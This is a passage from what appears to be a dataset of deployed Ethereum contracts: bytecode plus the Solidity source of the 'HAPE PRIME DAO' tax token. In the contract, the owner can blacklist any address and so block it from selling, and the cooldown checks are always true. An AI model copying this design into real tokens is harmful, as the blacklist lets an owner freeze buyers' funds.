} | 0x6080604052600436106101955763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302f652a3811461019a57806305d2035b146101c257806306fdde03146101eb578063095ea7b3146102755780630e5fdad41461029957806318160ddd146102ae5780631ee5f936146102d557806323b872dd146102ea578063272133451461031457806327e235e31461032957806329ff4f531461034a578063313ce5671461036b578063324536eb1461038057806338e4b06b1461039557806340c10f19146103aa5780635f412d4f146103ce57806360bba03d146103e3578063661884631461040957806370a082311461042d578063715018a61461044e5780637d64bcb414610463578063867c2857146104785780638da5cb5b1461049957806395d89b41146104ca57806396132521146104df578063a9059cbb146104f4578063b49d3a5314610518578063c836292b1461052d578063d1f276d31461054e578063d73dd62314610563578063dd62ed3e14610587578063f2fde38b146105ae575b600080fd5b3480156101a657600080fd5b506101c0600160a060020a036004351660243515156105cf565b005b3480156101ce57600080fd5b506101d76106c3565b604080519115158252519081900360200190f35b3480156101f757600080fd5b506102006106d3565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023a578181015183820152602001610222565b50505050905090810190601f1680156102675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028157600080fd5b506101d7600160a060020a0360043516602435610761565b3480156102a557600080fd5b506101c06107c7565b3480156102ba57600080fd5b506102c36107ed565b60408051918252519081900360200190f35b3480156102e157600080fd5b506101c06107f3565b3480156102f657600080fd5b506101d7600160a060020a0360043581169060243516604435610816565b34801561032057600080fd5b506102c3610985565b34801561033557600080fd5b506102c3600160a060020a036004351661098b565b34801561035657600080fd5b506101c0600160a060020a036004351661099d565b34801561037757600080fd5b506102c36109fe565b34801561038c57600080fd5b506102c3610a04565b3480156103a157600080fd5b506101d7610a0a565b3480156103b657600080fd5b506101d7600160a060020a0360043516602435610a13565b3480156103da57600080fd5b506101c0610b1d565b3480156103ef57600080fd5b506101c0600160a060020a03600435166024351515610b5a565b34801561041557600080fd5b506101d7600160a060020a0360043516602435610c4e565b34801561043957600080fd5b506102c3600160a060020a0360043516610d3e565b34801561045a57600080fd5b506101c0610d59565b34801561046f57600080fd5b506101d7610dc7565b34801561048457600080fd5b506101d7600160a060020a0360043516610e4b565b3480156104a557600080fd5b506104ae610e60565b60408051600160a060020a039092168252519081900360200190f35b3480156104d657600080fd5b50610200610e6f565b3480156104eb57600080fd5b506101d7610eca565b34801561050057600080fd5b506101d7600160a060020a0360043516602435610eda565b34801561052457600080fd5b506101c0611047565b34801561053957600080fd5b506101d7600160a060020a036004351661107e565b34801561055a57600080fd5b506104ae611093565b34801561056f57600080fd5b506101d7600160a060020a03600435166024356110a2565b34801561059357600080fd5b506102c3600160a060020a036004358116906024351661113b565b3480156105ba57600080fd5b506101c0600160a060020a0360043516611166565b600354600160a060020a031633146105e657600080fd5b60095460009060a060020a900460ff161561060057600080fd5b600160a060020a0383166000908152600c602052604090205460ff1615610697576040805160e560020a62461bcd02815260206004820152603560248201527f4572726f7221205468697320616464726573732069732061207465616d206d6560448201527f6d6265722f61647669736f7220616464726573732e0000000000000000000000606482015290519081900360840190fd5b50600160a060020a03919091166000908152600a60205260409020805460ff1916911515919091179055565b60035460a060020a900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107595780601f1061072e57610100808354040283529160200191610759565b820191906000526020600020905b81548152906001019060200180831161073c57829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600954600160a060020a031633146107de57600080fd5b600b805460ff19166001179055565b60015490565b600954600160a060020a0316331461080a57600080fd5b600b805460ff19169055565b600954600090849060a060020a900460ff1615156108cb57600160a060020a0381166000908152600a602052604090205460ff1615156108c6576040805160e560020a62461bcd02815260206004820152602260248201527f54686520746f6b656e20697320696e20746865206c6f636b696e67207065726960448201527f6f64000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b610971565b600b5460ff161580156108f65750600160a060020a0381166000908152600c602052604090205460ff165b15610971576040805160e560020a62461bcd02815260206004820152603660248201527f5465616d206d656d626572732f61647669736f72732063616e6e6f742074726160448201527f646520647572696e67207468697320706572696f642e00000000000000000000606482015290519081900360840190fd5b61097c858585611189565b95945050505050565b60085481565b60006020819052908152604090205481565b600354600160a060020a031633146109b457600080fd5b60095460009060a060020a900460ff16156109ce57600080fd5b506009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60075481565b60015481565b600b5460ff1681565b600354600090600160a060020a03163314610a2d57600080fd5b60035460a060020a900460ff1615610a4457600080fd5b600154610a57908363ffffffff61130016565b600155600160a060020a038316600090815260208190526040902054610a83908363ffffffff61130016565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600954600160a060020a03163314610b3457600080fd5b6009805474ff0000000000000000000000000000000000000000191660a060020a179055565b600354600160a060020a03163314610b7157600080fd5b60095460009060a060020a900460ff1615610b8b57600080fd5b600160a060020a0383166000908152600a602052604090205460ff1615610c22576040805160e560020a62461bcd02815260206004820152603260248201527f4572726f72212054686973206164647265737320697320696e2074686520747260448201527f616e73666572206167656e74206c6973742e0000000000000000000000000000606482015290519081900360840190fd5b50600160a060020a03919091166000908152600c60205260409020805460ff1916911515919091179055565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610ca357336000908152600260209081526040808320600160a060020a0388168452909152812055610cd8565b610cb3818463ffffffff61131316565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a03163314610d7057600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a03163314610de157600080fd5b60035460a060020a900460ff1615610df857600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600a6020526000908152604090205460ff1681565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107595780601f1061072e57610100808354040283529160200191610759565b60095460a060020a900460ff1681565b600954600090339060a060020a900460ff161515610f8f57600160a060020a0381166000908152600a602052604090205460ff161515610f8a576040805160e560020a62461bcd02815260206004820152602260248201527f54686520746f6b656e20697320696e20746865206c6f636b696e67207065726960448201527f6f64000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b611035565b600b5460ff16158015610fba5750600160a060020a0381166000908152600c602052604090205460ff165b15611035576040805160e560020a62461bcd02815260206004820152603660248201527f5465616d206d656d626572732f61647669736f72732063616e6e6f742074726160448201527f646520647572696e67207468697320706572696f642e00000000000000000000606482015290519081900360840190fd5b61103f8484611325565b949350505050565b600954600160a060020a0316331461105e57600080fd5b6009805474ff000000000000000000000000000000000000000019169055565b600c6020526000908152604090205460ff1681565b600954600160a060020a031681565b336000908152600260209081526040808320600160a060020a03861684529091528120546110d6908363ffffffff61130016565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461117d57600080fd5b61118681611406565b50565b6000600160a060020a03831615156111a057600080fd5b600160a060020a0384166000908152602081905260409020548211156111c557600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156111f557600080fd5b600160a060020a03841660009081526020819052604090205461121e908363ffffffff61131316565b600160a060020a038086166000908152602081905260408082209390935590851681522054611253908363ffffffff61130016565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054611295908363ffffffff61131316565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b8181018281101561130d57fe5b92915050565b60008282111561131f57fe5b50900390565b6000600160a060020a038316151561133c57600080fd5b3360009081526020819052604090205482111561135857600080fd5b33600090815260208190526040902054611378908363ffffffff61131316565b3360009081526020819052604080822092909255600160a060020a038516815220546113aa908363ffffffff61130016565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a038116151561141b57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058204a9df9de868bf01547201e865d7bedcdf3d87a9b7072b149abec661e672fe8b40029 | {"success": true, "error": null, "results": {}} | 10,328 |
0xd26a5d5b901c2f8c2697963f8abb06cea160b9d8 | /*
██╗ ██╗██╗ ██╗██████╗ ███████╗ ██████╗ ██████╗ ██╗███╗ ███╗███████╗
██║ ██║██║ ██║██╔══██╗██╔════╝ ██╔══██╗██╔══██╗██║████╗ ████║██╔════╝
███████║███████║██████╔╝█████╗ ██████╔╝██████╔╝██║██╔████╔██║█████╗
██╔══██║██╔══██║██╔═══╝ ██╔══╝ ██╔═══╝ ██╔══██╗██║██║╚██╔╝██║██╔══╝
██║ ██║███████╗██║ ███████╗ ██║ ██║ ██║██║██║ ╚═╝ ██║███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚══════╝
██████╗ ██╗ ██╗ ██████╗
██╔══██╗██║ ██║██╔═══██╗
██║ ██║███████║██║ ██║
██║ ██║██╔══██║██║ ██║
██████╔╝███████╗╚██████╔╝
╚═════╝ ╚══════╝ ╚═════╝
Telegram: https://t.me/HapeprimeDao
Website: https://hapeprimedao.com/
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HAPEPRIMEDAO is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"HAPE PRIME DAO";
string public constant symbol = unicode"HAPEPRIME DAO";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 15;
uint public _sellFee = 15;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
// if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
// if (recipient == tx.origin) _isBot[recipient] = true;
// }
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
if((_launchedAt + (10 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (10 minutes)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 350000000 * 10**9;
_maxHeldTokens = 350000000 * 10**9;
// max buy and held: 350_000_000
}
function manualswap() external {
//swapping the tax token to eth in case the route clogged
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
//call for manual sending the eth in the contract to the tax collecting address
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
//The token and eth exchange ratio for reducing the price impact during tax collection
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
//The new buy and sell tax can only be lower than the old rate
require(_msgSender() == _TaxAdd);
require(buy < 15 && sell < 15 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
//on/off control for the price impact reduction mechanism
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
//Changing the tax collecting address
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
} | 0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb6146106a7578063dcb0e0ad146106d2578063dd62ed3e146106fb578063e8078d9414610738576101ee565b8063a9059cbb14610613578063b515566a14610650578063c3c8cd8014610679578063c9567bf914610690576101ee565b806373f54a11116100d157806373f54a11146105695780638da5cb5b1461059257806394b8d8f2146105bd57806395d89b41146105e8576101ee565b8063590f897e146104d35780636fc3eaec146104fe57806370a0823114610515578063715018a614610552576101ee565b806327f3a72a1161017a5780633bbac579116101495780633bbac5791461041757806340b9a54b1461045457806345596e2e1461047f57806349bd5a5e146104a8576101ee565b806327f3a72a1461036d578063313ce5671461039857806331c2d847146103c357806332d873d8146103ec576101ee565b8063104ce66d116101b6578063104ce66d146102af57806318160ddd146102da5780631940d0201461030557806323b872dd14610330576101ee565b80630492f055146101f357806306fdde031461021e578063095ea7b3146102495780630b78f9c014610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861074f565b6040516102159190612abc565b60405180910390f35b34801561022a57600080fd5b50610233610755565b6040516102409190612b70565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612c30565b61078e565b60405161027d9190612c8b565b60405180910390f35b34801561029257600080fd5b506102ad60048036038101906102a89190612ca6565b6107ac565b005b3480156102bb57600080fd5b506102c461088f565b6040516102d19190612d07565b60405180910390f35b3480156102e657600080fd5b506102ef6108b5565b6040516102fc9190612abc565b60405180910390f35b34801561031157600080fd5b5061031a6108c5565b6040516103279190612abc565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190612d22565b6108cb565b6040516103649190612c8b565b60405180910390f35b34801561037957600080fd5b50610382610989565b60405161038f9190612abc565b60405180910390f35b3480156103a457600080fd5b506103ad610999565b6040516103ba9190612d91565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e59190612ef4565b61099e565b005b3480156103f857600080fd5b50610401610a94565b60405161040e9190612abc565b60405180910390f35b34801561042357600080fd5b5061043e60048036038101906104399190612f3d565b610a9a565b60405161044b9190612c8b565b60405180910390f35b34801561046057600080fd5b50610469610af0565b6040516104769190612abc565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a19190612f6a565b610af6565b005b3480156104b457600080fd5b506104bd610bdd565b6040516104ca9190612fa6565b60405180910390f35b3480156104df57600080fd5b506104e8610c03565b6040516104f59190612abc565b60405180910390f35b34801561050a57600080fd5b50610513610c09565b005b34801561052157600080fd5b5061053c60048036038101906105379190612f3d565b610c7b565b6040516105499190612abc565b60405180910390f35b34801561055e57600080fd5b50610567610cc4565b005b34801561057557600080fd5b50610590600480360381019061058b9190612f3d565b610e17565b005b34801561059e57600080fd5b506105a7610f15565b6040516105b49190612fa6565b60405180910390f35b3480156105c957600080fd5b506105d2610f3e565b6040516105df9190612c8b565b60405180910390f35b3480156105f457600080fd5b506105fd610f51565b60405161060a9190612b70565b60405180910390f35b34801561061f57600080fd5b5061063a60048036038101906106359190612c30565b610f8a565b6040516106479190612c8b565b60405180910390f35b34801561065c57600080fd5b5061067760048036038101906106729190612ef4565b610fa8565b005b34801561068557600080fd5b5061068e6111b8565b005b34801561069c57600080fd5b506106a5611232565b005b3480156106b357600080fd5b506106bc611359565b6040516106c99190612abc565b60405180910390f35b3480156106de57600080fd5b506106f960048036038101906106f49190612fed565b61138b565b005b34801561070757600080fd5b50610722600480360381019061071d919061301a565b61144f565b60405161072f9190612abc565b60405180910390f35b34801561074457600080fd5b5061074d6114d6565b005b600d5481565b6040518060400160405280600e81526020017f48415045205052494d452044414f00000000000000000000000000000000000081525081565b60006107a261079b611986565b848461198e565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107ed611986565b73ffffffffffffffffffffffffffffffffffffffff161461080d57600080fd5b600f8210801561081d5750600f81105b801561082a5750600a5482105b80156108375750600b5481105b61084057600080fd5b81600a8190555080600b819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600a54600b5460405161088392919061305a565b60405180910390a15050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b600e5481565b60006108d8848484611b59565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610924611986565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461096991906130b2565b905061097d85610977611986565b8361198e565b60019150509392505050565b600061099430610c7b565b905090565b600981565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109df611986565b73ffffffffffffffffffffffffffffffffffffffff16146109ff57600080fd5b60005b8151811015610a9057600060056000848481518110610a2457610a236130e6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a8890613115565b915050610a02565b5050565b600f5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600a5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b37611986565b73ffffffffffffffffffffffffffffffffffffffff1614610b5757600080fd5b60008111610b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b91906131aa565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c54604051610bd29190612abc565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c4a611986565b73ffffffffffffffffffffffffffffffffffffffff1614610c6a57600080fd5b6000479050610c78816124fc565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ccc611986565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5090613216565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e58611986565b73ffffffffffffffffffffffffffffffffffffffff1614610e7857600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610f0a9190613295565b60405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060029054906101000a900460ff1681565b6040518060400160405280600d81526020017f484150455052494d452044414f0000000000000000000000000000000000000081525081565b6000610f9e610f97611986565b8484611b59565b6001905092915050565b610fb0611986565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461103d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103490613216565b60405180910390fd5b60005b81518110156111b457600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110611095576110946130e6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156111295750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110611108576111076130e6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156111a157600160056000848481518110611147576111466130e6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806111ac90613115565b915050611040565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f9611986565b73ffffffffffffffffffffffffffffffffffffffff161461121957600080fd5b600061122430610c7b565b905061122f81612568565b50565b61123a611986565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112be90613216565b60405180910390fd5b601060009054906101000a900460ff1615611317576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130e906132fc565b60405180910390fd5b6001601060006101000a81548160ff02191690831515021790555042600f819055506704db732547630000600d819055506704db732547630000600e81905550565b6000611386600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c7b565b905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113cc611986565b73ffffffffffffffffffffffffffffffffffffffff16146113ec57600080fd5b80601060026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601060029054906101000a900460ff166040516114449190612c8b565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114de611986565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461156b576040517f08c379a000000